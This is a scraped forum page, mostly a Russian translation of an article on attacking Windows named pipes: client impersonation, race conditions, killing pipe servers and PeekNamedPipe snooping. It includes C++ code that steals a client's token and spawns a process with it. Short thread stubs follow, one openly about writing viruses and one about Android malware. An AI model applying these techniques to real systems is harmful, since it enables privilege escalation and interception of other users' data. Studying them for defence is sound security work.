Маленькие буферы : Размер буфера 0 абсолютно допустим для nInBufferSize и nOutBufferSize. Если бы система строго выполняла то, что ей было сказано, вы бы не смогли ничего записать в pipe, потому что буфер размера 0 - это ... ну, несуществующий буфер. К счастью, система достаточно умна, чтобы понять, что вы просите минимальный размер буфера, и поэтому увеличит фактический размер буфера до размера, который она получит, но это имеет последствия для производительности. Размер буфера 0 означает, что каждый байт должен быть прочитан процессом на другой стороне pipe (и тем самым очищен буфер), прежде чем новые данные могут быть записаны в буфер. Это справедливо для обоих значений, nInBufferSize и nOutBufferSize. Буфер размером 0 может стать причиной задержек сервера.

Безопасность NamedPipe

И снова мы можем сделать эту главу о том, как установить и контролировать безопасность именованного трубопровода, довольно короткой, но важно знать, как это делается.

Единственное средство, которое вы можете включить, когда хотите защитить NamePipe, - это установка дескриптора безопасности для сервера NamePipe в качестве последнего параметра (lpSecurityAttributes) в вызове [CreateNamedPipe](https://docs.microsoft.com/en- us/windows/win32/api/winbase/nf-winbase-createnamedpipea). Установка этого дескриптора безопасности необязательна; дескриптор безопасности по умолчанию можно установить, указав NULL в параметре lpSecurityAttributes.

В документации Windows определено, что делает дескриптор безопасности по умолчанию для сервера NamedPipe:

ACLs в дескрипторе безопасности по умолчанию для NamedPipe предоставляют полный контроль учетной записи LocalSystem, администраторам и владельцу- создателю. Они также предоставляют доступ на чтение членам группы Everyone и учетной записи anonymous.

CreateNamedPipe > Paremter > lpSecurityAttributes [[источник](https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf- winbase-createnamedpipea#parameters)]

Таким образом, по умолчанию все могут читать с вашего сервера NamedPipe если вы не указали дескриптор безопасности, независимо от того, находится ли читающий клиент на той же машине или нет. Если вы подключаетесь к NamedPipe серверу без заданного дескриптора безопасности, но все равно получаете ошибку Access Denied Error (код ошибки: 5), убедитесь, что вы указали только доступ READ (обратите внимание, что в примере выше указан доступ READ и WRITE с GENERIC_READ | GENERIC_WRITE).

Для удаленных подключений еще раз обратите внимание - как описано в конце главы Named Pipe Messaging - что протокол сетевой аутентификации согласовывается между клиентом и сервером через протокол SMB. Не существует способа программно принудительно использовать более сильный протокол Kerberos (вы можете только отключить NTLM на хосте сервера).

Имперсонация

Имперсонация - это простая концепция, которая понадобится нам в следующем разделе для обсуждения векторов атак с использованием NamedPipe.
Если вы знакомы с имперсонацией, можете пропустить этот раздел; имперсонация не относится к NamedPipe.

Если вы еще не сталкивались с имперсонацией в среде Windows, позвольте мне вкратце рассказать вам об этой концепции:

Имперсонация - это способность потока выполняться в контексте безопасности, отличном от контекста безопасности процесса, которому принадлежит поток. Имперсонация обычно применяется в архитектуре клиент-сервер, где клиент подключается к серверу, а сервер может (при необходимости) выдать себя за клиента. Имперсонация позволяет серверу (потоку) выполнять действия от имени клиента, но в рамках прав доступа клиента.

Типичный сценарий - сервер хочет получить доступ к некоторым записям (например, в базе данных), но только клиент имеет право доступа к своим собственным записям. Сервер может ответить клиенту, попросив получить записи самостоятельно и передать их серверу, или сервер может использовать протокол авторизации, чтобы доказать, что клиент разрешил серверу доступ к записям, или

  • и это то, чем является имперсонация - клиент посылает серверу некоторую идентификационную информацию и позволяет серверу переключиться на роль клиента. Это похоже на то, как если бы клиент передал свои водительские права серверу вместе с разрешением использовать эти права для идентификации других сторон, например, привратника (или, более технически, сервера базы данных).

Идентификационная информация, такая как информация, указывающая, кем является клиент (например, [SID](https://docs.microsoft.com/en-us/troubleshoot/windows- server/identity/security-identifiers-in-windows)), упаковывается в структуру, называемую контекстом безопасности. Эта структура глубоко встроена во внутреннее устройство операционной системы и является необходимым элементом информации для межпроцессного взаимодействия. Поэтому клиент не может выполнить IPC вызов без контекста безопасности, но ему нужен способ указать, что он позволяет серверу знать и делать с его идентификатором. Для контроля этого Microsoft создала так называемые уровни имперсонации.

Структура перечисления SECURITY_IMPERSONATION_LEVEL определяет четыре уровня имперсонации, которые определяют операции, которые сервер может выполнять в контексте клиента.

SECURITY_IMPERSONATION_LEVEL
SecurityAnonymous Сервер не может выдавать себя за клиента или идентифицировать его.
SecurityIdentification Сервер может получить идентификационные данные и привилегии клиента, но не может выдавать себя за него.
SecurityImpersonation Сервер может выдавать себя за контекст безопасности клиента в локальной системе.
SecurityDelegation Сервер может выдавать за клиента контекст безопасности на удаленных системах.

Click to expand...

Для получения дополнительной справочной информации об имперсонации ознакомьтесь с документацией Microsoft по [клиентской имперсонации](https://docs.microsoft.com/en-us/windows/win32/secauthz/client- impersonation).

Для получения некоторого контекста вокруг имперсонации ознакомьтесь с разделом Токены доступа и следующим разделом об имперсонации в моем посте об авторизации Windows.

Имперсонификация клиента NamedPipe

Итак, раз уж мы затронули эту тему, и если вам еще не совсем скучно. Давайте вкратце расскажем о том, что на самом деле происходит под капотом, если сервер выдает себя за клиента.

Если вас больше интересует, как это реализовать, вы найдете ответ в моем примере [реализации](https://github.com/csandker/InterProcessCommunication- Samples/blob/master/NamedPipes/CPP-NamedPipe-Basic-Client-Server/CPP-Basic- PipeServer/CPP-Basic-PipeServer.cpp#L21)

Шаг 1: Сервер ожидает входящего соединения от клиента и после этого вызывает функцию [ImpersonateNamedPipeClient](https://docs.microsoft.com/en- us/windows/win32/api/namedpipeapi/nf-namedpipeapi-impersonatenamedpipeclient).
Шаг 2: Этот вызов приводит к вызову [NtCreateEvent](https://docs.microsoft.com/en-us/windows- hardware/drivers/ddi/ntifs/nf-ntifs-zwcreateevent) (для создания события обратного вызова) и [NtFsControlFile](https://docs.microsoft.com/en- us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-ntfscontrolfile), которая является функцией, выполняющей имперсонацию.
Шаг 3: [NtFsControlFile](https://docs.microsoft.com/en-us/windows- hardware/drivers/ddi/ntifs/nf-ntifs-ntfscontrolfile) - это функция общего назначения, действие которой задается аргументом, в данном случае FSCTL_PIPE_Impersonate.

Приведенное ниже описание основано на открытом исходном коде ReactOS, но я думаю, что оно справедливо как

Шаг 4: Далее по стеку вызовов вызывается NpCommonFileSystemControl, где FSCTL_PIPE_IMPERSONATE передается в качестве аргумента и используется в инструкции switch-case для определения того, что делать.
Шаг 5: NpCommonFileSystemControl вызывает NbAcquireExeclusiveVcb для блокировки объекта, а NpImpersonate вызывается, учитывая объект трубы сервера и IRP (I/O Request Object), выданный клиентом.
Шаг 6: NpImpersonate затем в свою очередь вызывает [SeImpersonateClientEx](https://docs.microsoft.com/en-us/windows- hardware/drivers/ddi/ntifs/nf-ntifs-seimpersonateclientex) с контекстом безопасности клиента, который был получен из IRP клиента, в качестве параметра.
Шаг 7: [SeImpersonateClientEx](https://docs.microsoft.com/en-us/windows- hardware/drivers/ddi/ntifs/nf-ntifs-seimpersonateclientex) в свою очередь вызывает [PsImpersonateClient](https://docs.microsoft.com/en-us/windows- hardware/drivers/ddi/ntifs/nf-ntifs-psimpersonateclient) с объектом потока сервера и маркером безопасности клиента, который извлекается из контекста безопасности клиента.
Шаг 8: Контекст потока сервера затем изменяется на контекст безопасности клиента.
Шаг 9: Любое действие сервера и любая функция, которую сервер вызывает, находясь в контексте безопасности клиента, выполняются с идентификатором клиента и тем самым выдают себя за клиента.
Шаг 10: Если сервер закончил то, что собирался сделать, будучи клиентом, он вызывает команду [RevertToSelf](https://docs.microsoft.com/en- us/windows/win32/api/securitybaseapi/nf-securitybaseapi-reverttoself), чтобы вернуться в свой собственный, исходный контекст потока.

Поверхность атаки
Имперсонация клиента

Наконец-то мы заговорили о поверхности атаки. Самый важный вектор атаки, основанный на NamedPipe - это имперсонация.

К счастью, мы уже представили и поняли концепцию имперсонации в предыдущем разделе, поэтому мы можем сразу приступить к работе.

Сценарий атаки

Имперсонацией с помощью NamedPipe лучше всего злоупотреблять, когда у вас есть служба, программа или процедура, которая позволяет вам указать или контролировать доступ к файлу (неважно, разрешает ли она вам доступ на чтение или запись или и то, и другое). Благодаря тому, что NamedPipe по сути являются FILE_OBJECTs и работают с теми же функциями доступа, что и обычные файлы ([ReadFile](https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf- fileapi-readfile), [WriteFile](https://docs.microsoft.com/en- us/windows/win32/api/fileapi/nf-fileapi-writefile), [CreateFile](https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf- fileapi-createfilea), ...), вы можете указать NamedPipe вместо обычного имени файла и заставить процесс вашей жертвы подключиться к NamedPipe под вашим контролем.

Предварительные условия

Есть два важных аспекта, которые необходимо проверить при попытке выдать себя за клиента.

Во-первых, необходимо проверить, как клиент реализует доступ к файлам, а точнее, указывает ли клиент флаг SECURITY_SQOS_PRESENT при вызове [CreateFile](https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf- fileapi-createfilea)?

Уязвимый вызов CreateFile выглядит следующим образом:

C++:Copy to clipboard

hFile = CreateFile(pipeName, GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL);

В то время как безопасный вызов CreateFile выглядит следующим образом:

C++:Copy to clipboard

// calling with explicit SECURITY_IMPERSONATION_LEVEL
hFile = CreateFile(pipeName, GENERIC_READ, 0, NULL, OPEN_EXISTING, SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION , NULL);
// calling without explicit SECURITY_IMPERSONATION_LEVEL
hFile = CreateFile(pipeName, GENERIC_READ, 0, NULL, OPEN_EXISTING, SECURITY_SQOS_PRESENT, NULL);

По умолчанию вызов без явного указания SECURITY_IMPERSONATION_LEVEL (как в приведенном выше примере) выполняется с уровнем обезличивания SecurityAnonymous.

Если флаг SECURITY_SQOS_PRESENT установлен без дополнительного уровня имперсонации (IL) или с IL, установленным на SECURITY_IDENTIFICATION или SECURITY_ANONYMOUS, вы не сможете выдать себя за клиента.

Второй важный аспект, который необходимо проверить, это имя файла, он же параметр lpFileName, передаваемый [CreateFile](https://docs.microsoft.com/en- us/windows/win32/api/fileapi/nf-fileapi-createfilea). Существует важное различие между вызовом localNamedPipe и вызовом удаленных NamedPipe.

Вызов localNamedPipe определяется расположением файла \\\.\pipe<SomeName>.
Вызовы к localNamedPipe могут быть имперсонифицированы, только если явно установлен флаг SECURITY_SQOS_PRESENT с уровнем имперсонации выше SECURITY_IDENTIFICATION. Поэтому уязвимый вызов выглядит следующим образом:

C++:Copy to clipboard

hFile = CreateFile(L"\\.\pipe\fpipe", GENERIC_READ, 0, NULL, OPEN_EXISTING, SECURITY_SQOS_PRESENT | SECURITY_IMPERSONATION, NULL);

Для ясности. Безопасный вызов localNamedPipe будет выглядеть следующим образом:

C++:Copy to clipboard

hFile = CreateFile(L"\\.\pipe\fpipe", GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL);

Этот последующий вызов безопасен даже без SECURITY_SQOS_PRESENT, поскольку вызывается localNamedPipe.

Удаленная NamedPipe с другой стороны, определяется именем lpFileName, начинающимся с имени хоста или IP, например: \\\ServerA.domain.local\pipe<SomeName>.

Теперь наступает важный момент:

Когда флаг SECURITY_SQOS_PRESENT отсутствует и вызывается удаленная NamedPipe уровень имперсонации определяется привилегиями пользователя, управляющего сервером NamedPipe.

Это означает, что когда вы вызываете удаленный NamedPipe без флага SECURITY_SQOS_PRESENT, ваш атакующий пользователь, запускающий канал, должен обладать привилегией SeImpersonatePrivilege ([SE_IMPERSONATE_NAME](https://docs.microsoft.com/en- us/windows/win32/secauthz/privilege-constants)), чтобы выдать себя за клиента.
Если ваш пользователь не обладает этой привилегией, уровень имперсонации будет установлен на SecurityIdentification (что позволяет вам идентифицировать, но не выдавать себя за пользователя).

Но это также означает, что если ваш пользователь обладает привилегией SeEnableDelegationPrivilege ([SE_ENABLE_DELEGATION_NAME](https://docs.microsoft.com/en- us/windows/win32/secauthz/privilege-constants)), уровень имперсонации будет установлен на SecurityDelegation, и вы даже сможете аутентифицировать пользователя-жертву в других сетевых службах.

Важным выводом здесь является следующее:

Вы можете сделать удаленный вызов NamedPipe запущенной на той же машине, указав \\\127.0.0.1\pipe<SomeName>.

Чтобы окончательно собрать все части воедино:

Если параметр SECURITY_SQOS_PRESENT не установлен, вы можете выдать себя за клиента, если у вас есть пользователь с привилегиями не ниже SE_IMPERSONATE_NAME, но для NamedPipe, работающих на той же машине, вам нужно вызвать их через \\\127.0.0.1\pipe\....

Если установлен SECURITY_SQOS_PRESENT, вы можете выдать себя за клиента, только если вместе с ним установлен уровень имперсонации выше SECURITY_IDENTIFICATION (независимо от того, локально или удаленно вы вызываете NamedPipe)

В [документации Microsoft](https://docs.microsoft.com/en- us/windows/win32/secauthz/impersonation-levels) об уровнях авторизации говорится следующее:

Если namedPipe RPC или DDE-соединение является удаленным, флаги, переданные CreateFile для установки уровня обезличивания, игнорируются. В этом случае уровень обезличивания клиента определяется уровнями обезличивания, включенными сервером, которые задаются флагом учетной записи сервера в службе каталогов. Например, если на сервере разрешено делегирование, уровень обезличивания клиента также будет установлен на делегирование, даже если флаги, переданные CreateFile, указывают уровень обезличивания идентификации. [[источник](https://docs.microsoft.com/en- us/windows/win32/secauthz/impersonation-levels)]

Имейте в виду, что технически это верно, но несколько вводит в заблуждение...

Точная версия такова: если при вызове удаленного namedPipe вы указываете [CreateFile](https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf- fileapi-createfilea) только флаги уровня имперсонации (и ничего больше), то они будут проигнорированы, но если вы указываете флаги имперсонации вместе с флагом SECURITY_SQOS_PRESENT, то они будут соблюдены.

Примеры:

C++:Copy to clipboard

/ In the below call the SECURITY_IDENTIFICATION flag will be respected by the remote server
hFile = CreateFile(L"\\ServerA.domain.local", GENERIC_READ, 0, NULL, OPEN_EXISTING, SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION, NULL);
/* --> The server will obtain a SECURITY_IDENTIFICATION token */

// In this call the SECURITY_IDENTIFICATION flag will be ignored
hFile = CreateFile(L"\\ServerA.domain.local", GENERIC_READ, 0, NULL, OPEN_EXISTING, SECURITY_IDENTIFICATION, NULL);
/* --> The server will obtain a token based on the privileges of the user running the server.
        A user holding SeImpersonatePrivilege will get an SECURITY_IMPERSONATION token */

// In this call the Impersonation Level will default to SECURITY_ANONYMOUS and will be respected
hFile = CreateFile(L"\\ServerA.domain.local", GENERIC_READ, 0, NULL, OPEN_EXISTING, SECURITY_SQOS_PRESENT, NULL);
/* --> The server will obtain a SECURITY_ANONYMOUS token. A call to  OpenThreadToken will result in error 1347 (0x543, ERROR_CANT_OPEN_ANONYMOUS)*/

Реализация

C++:Copy to clipboard

// Create a server named pipe
serverPipe = CreateNamedPipe(
    pipeName,           // name of our pipe, must be in the form of \\.\pipe\<NAME>
    PIPE_ACCESS_DUPLEX, // The rest of the parameters don't really matter
    PIPE_TYPE_MESSAGE,    // as all you want is impersonate the client...
    1,        //
    2048,    //
    2048,    //
    0,        //
    NULL    // This should ne NULL so every client can connect
);
// wait for pipe connections
BOOL bPipeConnected = ConnectNamedPipe(serverPipe, NULL);
// Impersonate client
BOOL bImpersonated = ImpersonateNamedPipeClient(serverPipe);
// if successful open Thread token - your current thread token is now the client's token
BOOL bSuccess = OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hToken);
// now you got the client token saved in hToken and you can safeyl revert back to self
bSuccess = RevertToSelf();
// Now duplicate the client's token to get a Primary token
bSuccess = DuplicateTokenEx(hToken,
    TOKEN_ALL_ACCESS,
    NULL,
    SecurityImpersonation,
    TokenPrimary,
    &hDuppedToken
);
// If that succeeds you got a Primary token as hDuppedToken and you can create a proccess with that token
CreateProcessWithTokenW(hDuppedToken, LOGON_WITH_PROFILE, command, NULL, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);

А вот такой результат:

1655116108400.png

При самостоятельной реализации этой функции возникают некоторые трудности:

Когда вы создаете процесс с помощью [CreateProcessWithTokenW](https://docs.microsoft.com/en- us/windows/win32/api/winbase/nf-winbase-createprocesswithtokenw), вам необходимо [RevertToSelf](https://docs.microsoft.com/en- us/windows/win32/api/securitybaseapi/nf-securitybaseapi-reverttoself) перед вызовом CreateProcessWithTokenW, иначе вы получите ошибку.

Когда вы хотите создать оконный процесс (что-то с всплывающим окном, например, calc.exe или cmd.exe), вам нужно предоставить клиенту доступ к вашему окну и рабочему столу. Пример реализации, позволяющей всем пользователям получить доступ к вашему Window и Desktop, можно найти [здесь](https://github.com/csandker/InterProcessCommunication- Samples/blob/master/NamedPipes/CPP-NamedPipe-Basic-Client-Server/CPP- Util/Access.cpp) .

Условие гонки при создании экземпляра

Экземпляры именованных труб создаются и живут в глобальном "пространстве имен" (на самом деле технически пространства имен нет, но это помогает понять, что все NamedPipe живут под одной крышей) на диске устройства Name Pipe File System (NPFS). Более того, несколько NamedPipe с одинаковыми именами могут существовать под одной крышей. Что же произойдет, если приложение создаст NamedPipe, который уже существует? Если вы не установите правильные флаги, ничего не произойдет, то есть вы не получите ошибку и, что еще хуже, не получите клиентских соединений, поскольку экземпляры NamedPipe организованы в стеке FIFO (First In First Out).

Такая конструкция делает Named Pipes уязвимыми для уязвимостей состояния гонки при создании экземпляров.

Сценарий атаки

Сценарий атаки для использования такого состояния гонки выглядит следующим образом: Вы определили службу, программу или процедуру, которая создает именованный канал, используемый клиентскими приложениями, работающими в другом контексте безопасности (допустим, они работают под пользователем NT Service). Сервер создает NamePipe для связи с клиентским приложением (приложениями). Время от времени клиент подключается к NamePipe сервера - не редкость, если серверное приложение вызывает подключение клиентов после создания pipe- сервера. Вы выяснили, когда и как запускается сервер, а также имя создаваемой им pipe.

Теперь вы пишете программу, которая создает namedpipe с тем же именем в сценарии, где ваш экземпляр NamedPipe создается раньше, чем NamedPipe целевого сервера. Если NamedPipe сервера создана небезопасно, она не заметит, что NamedPipe с таким же именем уже существует, и вызовет подключение клиентов. Благодаря стеку FIFO клиенты подключатся к вам, и вы сможете читать или записывать их данные или попытаться выдать себя за клиента.

Необходимые условия

Для того чтобы эта атака сработала, вам нужен целевой сервер, который не проверяет, существует ли уже NamedPipe с таким же именем. Обычно сервер не имеет дополнительного кода для проверки вручную, существует ли уже NamedPipe с таким же именем - думая об этом, вы ожидаете получить ошибку, если имя вашей NamedPipe уже существует, верно? Но этого не происходит, потому что два экземпляра NamedPipe с одинаковым именем абсолютно валидны... по любой причине.

Но для борьбы с этой атакой Microsoft добавила флаг FILE_FLAG_FIRST_PIPE_INSTANCE, который можно указать при создании NamedPipe трубы через [CreateNamedPipe](https://docs.microsoft.com/en- us/windows/win32/api/winbase/nf-winbase-createnamedpipea). Когда этот флаг установлен, вызов create вернет значение INVALID_HANDLE_VALUE, что приведет к ошибке при последующем вызове [ConnectNamedPipe](https://docs.microsoft.com/en- us/windows/win32/api/namedpipeapi/nf-namedpipeapi-connectnamedpipe).

Если ваш целевой сервер не указывает флаг FILE_FLAG_FIRST_PIPE_INSTANCE, то он, скорее всего, уязвим, однако есть еще один момент, о котором следует знать атакующей стороне. При создании NamedPipe через [CreateNamedPipe](https://docs.microsoft.com/en- us/windows/win32/api/winbase/nf-winbase-createnamedpipea) существует параметр nMaxInstances, который определяет...:

Максимальное количество экземпляров, которые могут быть созданы для этой pipe. Первый экземпляр трубы может задавать это значение; CreateNamedPipe [[источник](https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf- winbase-createnamedpipea)]

Таким образом, если вы установите это значение в '1' (как в примере кода выше), вы уничтожите свой собственный вектор атаки. Чтобы использовать уязвимость состояния гонки при создании экземпляра, установите значение PIPE_UNLIMITED_INSTANCES.

Реализация

Все, что вам нужно сделать для эксплуатации, это создать NamedPipe с нужным именем в нужное время.

Мой пример реализации [здесь](https://github.com/csandker/InterProcessCommunication- Samples/blob/master/NamedPipes/CPP-NamedPipe-Basic-Client-Server/CPP-Basic- PipeServer/CPP-Basic-PipeServer.cpp) может быть использован в качестве шаблона реализации. Закиньте его в вашу любимую IDE, задайте имя NamedPipe убедитесь, что NamedPipe создана с флагом PIPE_UNLIMITED_INSTANCES, и начинайте работать.

Instance Creation Special Flavors​

Unanswered Pipe Connections​

Соединения с pipe без ответа - это попытки соединения, предпринимаемые клиентами, которые - кто бы мог подумать - не увенчались успехом, следовательно, остались без ответа, потому что pipe, которую запрашивает клиент, не существует.

Потенциал эксплуатации здесь довольно ясен и прост: Если клиент хочет подключиться к несуществующей pipe, мы создаем pipe, к которой клиент может подключиться, и пытаемся манипулировать клиентом с помощью вредоносной связи или выдать себя за клиента, чтобы получить дополнительные привилегии.

Эту уязвимость иногда также называют избыточными соединениями pipe (но, на мой взгляд, это не самая лучшая терминология).

Главный вопрос здесь заключается в следующем: Как найти таких клиентов?
Моим первоначальным немедленным ответом было бы: Запустить Procmon и поискать неудачные системные вызовы [CreateFile](https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf- fileapi-createfilea).

Но я проверил это и оказалось, что Procmon не выдает список таких вызовов для труб... возможно, это потому, что инструмент проверяет/слушает только файловые операции через драйвер NTFS, но я не изучал этот вопрос глубже (возможно, есть трюк/переключатель, о котором я не знал) - я сообщу, если наткнусь на ответ...

Другой вариант - Pipe Monitor из набора инструментов IO Ninja. Этот инструмент требует лицензии, но предлагает бесплатный пробный период, чтобы поиграть с ним. Pipe Monitor предлагает функциональность для проверки активности pipe в системе и поставляется с несколькими основными фильтрами для процессов, имен файлов и т.п. Поскольку вы хотите найти все процессы и все имена файлов, я отфильтровал их по '*', запустил программу и использовал функцию поиска для поиска "Cannot open":

1655116079500.png

Если вы знаете какой-либо другой способ сделать это, используя инструментарий с открытым исходным кодом, дайте мне знать (/ 0xcsandker) ;)

Убийство pipe-серверов

Если вы не можете найти неотвеченные попытки соединения по pipe, но обнаружили интересного клиента, с которым вы хотели бы поговорить или выдать себя за него, другой вариант получить соединение клиента - убить его текущий сервер.

В разделе Условия гонки при создании экземпляра я описал, что вы можете иметь несколько NamedPipe с одинаковыми именами в одном и том же "пространстве имен".

Если ваш целевой сервер не установил параметр nMaxInstances в '1', вы можете создать NamedPipe-cервер с тем же именем и поставить себя в очередь на обслуживание клиентов. Вы не получите ни одного клиентского вызова, пока оригинальный NamedPipe-cервер обслуживает клиентов, поэтому идея этой атаки заключается в том, чтобы нарушить работу или убить оригинальный NamedPipe- cервер чтобы на его место встал ваш вредоносный сервер.

Когда дело доходит до уничтожения или разрушения оригинального NamedPipe- cервер я не могу помочь с какими-либо общими предпосылками или реализациями, потому что это всегда зависит от того, кто управляет целевым сервером, а также от ваших прав доступа и привилегий пользователя.

При анализе целевого сервера на предмет применения техники kill старайтесь мыслить нестандартно, здесь есть нечто большее, чем просто отправка сигнала выключения процессу, например, могут быть условия ошибки, которые заставляют сервер выключиться или перезапуститься (помните, что вы номер 2 в очереди - перезапуска может быть достаточно, чтобы занять место).

Также обратите внимание, что pipe-сервер - это просто экземпляр, работающий на виртуальном FILE_OBJECT, поэтому все именованные pipe-серверы будут завершены, как только количество ссылок на их handle достигнет 0. Например, handle открывается клиентом, подключающимся к нему. Поэтому сервер также можно убить, уничтожив все его хэндлы (конечно, вы что-то получите, только если клиенты вернутся к вам после потери соединения).

PeekNamedPipe

Могут быть сценарии, в которых вас интересуют данные, которыми обмениваются, а не манипуляции или выдача себя за клиентов pipe.

Благодаря тому, что все экземпляры именованных труб живут под одной крышей, ака. в одном глобальном "пространстве имен" ака. на одном виртуальном диске устройства NPFS (как уже кратко упоминалось ранее), нет системного барьера, который помешает вам подключиться к любому произвольному (СИСТЕМНОМУ или не СИСТЕМНОМУ) экземпляру именованной трубы и посмотреть на данные в трубе (технически "в трубе" означает в разделе общей памяти, выделенной сервером труб).

Предварительные условия

Как упоминалось в разделе Безопасность NamedPipe единственное средство, которое вы можете использовать для защиты NamedPipe - это использование дескриптора безопасности в качестве последнего параметра (lpSecurityAttributes) вызова [CreateNamedPipe](https://docs.microsoft.com/en- us/windows/win32/api/winbase/nf-winbase-createnamedpipea). И это все, что может помешать вам получить доступ к произвольному экземпляру именованной трубы. Поэтому все, что вам нужно проверить при поиске цели, это установлен ли этот параметр и защищен ли он для предотвращения несанкционированного доступа.

Реализация

Когда вы нашли подходящую цель, нужно помнить еще об одном моменте: Если вы читаете из NamedPipe с помощью [ReadFile](https://docs.microsoft.com/en- us/windows/win32/api/fileapi/nf-fileapi-readfile), вы удаляете данные из общей памяти сервера, и следующий, потенциально легитимный клиент, который попытается прочитать из pipe, не найдет никаких данных и, возможно, выдаст ошибку.

Но вы можете использовать функцию [PeekNamedPipe](https://docs.microsoft.com/en- us/windows/win32/api/namedpipeapi/nf-namedpipeapi-peeknamedpipe) для просмотра данных, не удаляя их из общей памяти.

Фрагмент реализации, основанный на моем примере кода, может выглядеть следующим образом:

C++:Copy to clipboard

// all the vars you need
const int MESSAGE_SIZE = 512;
BOOL bSuccess;
LPCWSTR pipeName = L"\\\\.\\pipe\\fpipe";
HANDLE hFile = NULL;
LPWSTR pReadBuf[MESSAGE_SIZE] = { 0 };
LPDWORD pdwBytesRead = { 0 };
LPDWORD pTotalBytesAvail = { 0 };
LPDWORD pBytesLeftThisMessage = { 0 };
// connect to named pipe
hFile = CreateFile(pipeName, GENERIC_READ, 0, NULL, OPEN_EXISTING, SECURITY_SQOS_PRESENT | SECURITY_ANONYMOUS, NULL);
// sneak peek data
bSuccess = PeekNamedPipe(
    hFile,
    pReadBuf,
    MESSAGE_SIZE,
    pdwBytesRead,
    pTotalBytesAvail,
    pBytesLeftThisMessage
);

Вот и все, если вы хотите продолжить копаться в именованных каналах, вот несколько хороших ссылок для начала:

![docs.microsoft.com](/proxy.php?image=https%3A%2F%2Flearn.microsoft.com%2Fen- us%2Fmedia%2Fopen-graph- image.png&hash=9d6f0d18756f3d99ae462d15c3a265f8&return_error=1)

[ Pipes (Interprocess Communications) - Win32 apps

](https://docs.microsoft.com/en-us/windows/win32/ipc/pipes)

How to create, manage, and use pipes. A pipe is a section of shared memory that processes use for communication. The process that creates a pipe is the pipe server. A process that connects to a pipe is a pipe client.

docs.microsoft.com

[ Discovering and Exploiting Named Pipe Security Flaws for Fun and Profit

](http://www.blakewatts.com/namedpipepaper.html)

![www.blakewatts.com](/proxy.php?image=https%3A%2F%2Fblakewatts.com%2Flock- solid.svg&hash=ceceaaccc89c979ac19eb49a75408afe&return_error=1) www.blakewatts.com

![github.com](/proxy.php?image=https%3A%2F%2Fopengraph.githubassets.com%2Fc2ec6d338bd54cc764b8194ad3d9994793ce005e9c2c7c72163258652f45f561%2Fcsandker%2FInterProcessCommunication- Samples&hash=6c483ae85a9c6f74e0698fd7a24fb372&return_error=1)

[ InterProcessCommunication-Samples/NamedPipes/CPP-NamedPipe-Basic-

Client-Server at master · csandker/InterProcessCommunication-Samples ](https://github.com/csandker/InterProcessCommunication- Samples/tree/master/NamedPipes/CPP-NamedPipe-Basic-Client-Server)

Some Code Samples for Windows based Inter-Process-Communication (IPC) - csandker/InterProcessCommunication-Samples

github.com github.com

Перевёл [эту статью](https://csandker.io/2021/01/10/Offensive-Windows- IPC-1-NamedPipes.html)

Статическая линковка libcurl
ID: 6765d804b4103b69df3758bb
Thread ID: 68434
Created: 2022-06-10T09:48:02+0000
Last Post: 2022-06-10T09:48:02+0000
Author: BaDRabbiT404
Prefix: Статья
Replies: 0 Views: 1K

Всем здоровья и комфортной среды обитания!

Небольшой гайд как статически слинковать libcurl с вашей программой,
дабы не пришлось таскать с собой курловскую ддл'ку.

Все действия я буду производить в студии 19 года на десятке.

  1. Открываем visual studio installer и скачиваем в доп. компонентах:

Code:Copy to clipboard

C++ATL for v142 (x86 and x64)
C++MFC for v142 (x86 and x64)
C++ v14.21 ATL for v142 (x86 and x64)
C++v14.21 MFC for v142 (x86 and x64)
  1. Идем по вот этой вот ссылочке https://curl.se/download.html и скачиваем curl-.zip .
    распаковываем архив, заходим в папочку winbuild и копируем путь до неё. Затем открываем
    Native tools command prompt for vs 19 (Она будет в меню пуска рядом с вашей студией)
    Выбираем x86 or 32, смотря под какую разрядность у вас проект.

Code:Copy to clipboard

cd <путь, который мы копернули до этого>
set RTLIBCFG=static
nmake /f Makefile.vc mode=static vc=16(версия будет прописана вверху окошка) debug=yes/no(в зависимости от того нужем вам релиз или дебаг)

То что мы натворили будет храниться в папке builds ввиде трёх папок, нам нужна первая. В ней тоже будет три папки, нам понадобятся include and lib.

  1. Открываем проект и заходим в настройки, дальше следуем писанине ниже:

Code:Copy to clipboard

Свойства конфигурации -> Дополнительно -> Использование MFC: использовать MFC в статической библиотеке
C/C++ -> Препроцессор -> Определение препроцессора: CURL_STATICLIB
итак, заходим в нашу папочку include, далее curl и копируем этот путь
C/C++ -> Общие -> Дополнительные каталоги включаемых файлов: <вставляем>
затем залетаем в папку lib, в ней находится libcurl.lib, опять копируем путь до этой либы
Компоновщик -> Ввод -> Дополнительные зависимости: <вставляем путь, включая название либы>
Туда же вставляем вот эти либы Normaliz.lib;Ws2_32.lib;Wldap32.lib;Crypt32.lib;advapi32.lib;

Осталось добавить в код проекта #include "curl.h" и всё

Надеюсь актуальная тема, ибо сам недавно парился над этим.

P.S. кстати, размер приложухи увеличится на 500кб. Да, это жёстко, конечно, но не мы такие, жизнь такая

Есть ли смысл писать без CRT в 2022
ID: 6765d804b4103b69df3758ca
Thread ID: 65051
Created: 2022-03-31T12:05:42+0000
Last Post: 2022-05-08T14:59:16+0000
Author: BaDRabbiT404
Replies: 34 Views: 1K

Собственно, вопрос вверху. Я вот просто пытаюсь писать легковесные вирусы, мол круто, маленький вес, еху. Но боль в жопе всё таки сильнее, чем моё моральное утешение самого себя. Есть ли реальный смысл писать без CRT в 2022?

Почему для зверьков на андроид почти не используют tcp ?
ID: 6765d804b4103b69df375916
Thread ID: 61286
Created: 2022-01-13T05:14:19+0000
Last Post: 2022-01-19T09:04:13+0000
Author: Chu Feng
Replies: 15 Views: 1K

Последнее время осваиваю xamarin как средство мобильной разработки (Мой основной яп c# , поэтому и xamarin а не котлин /java)
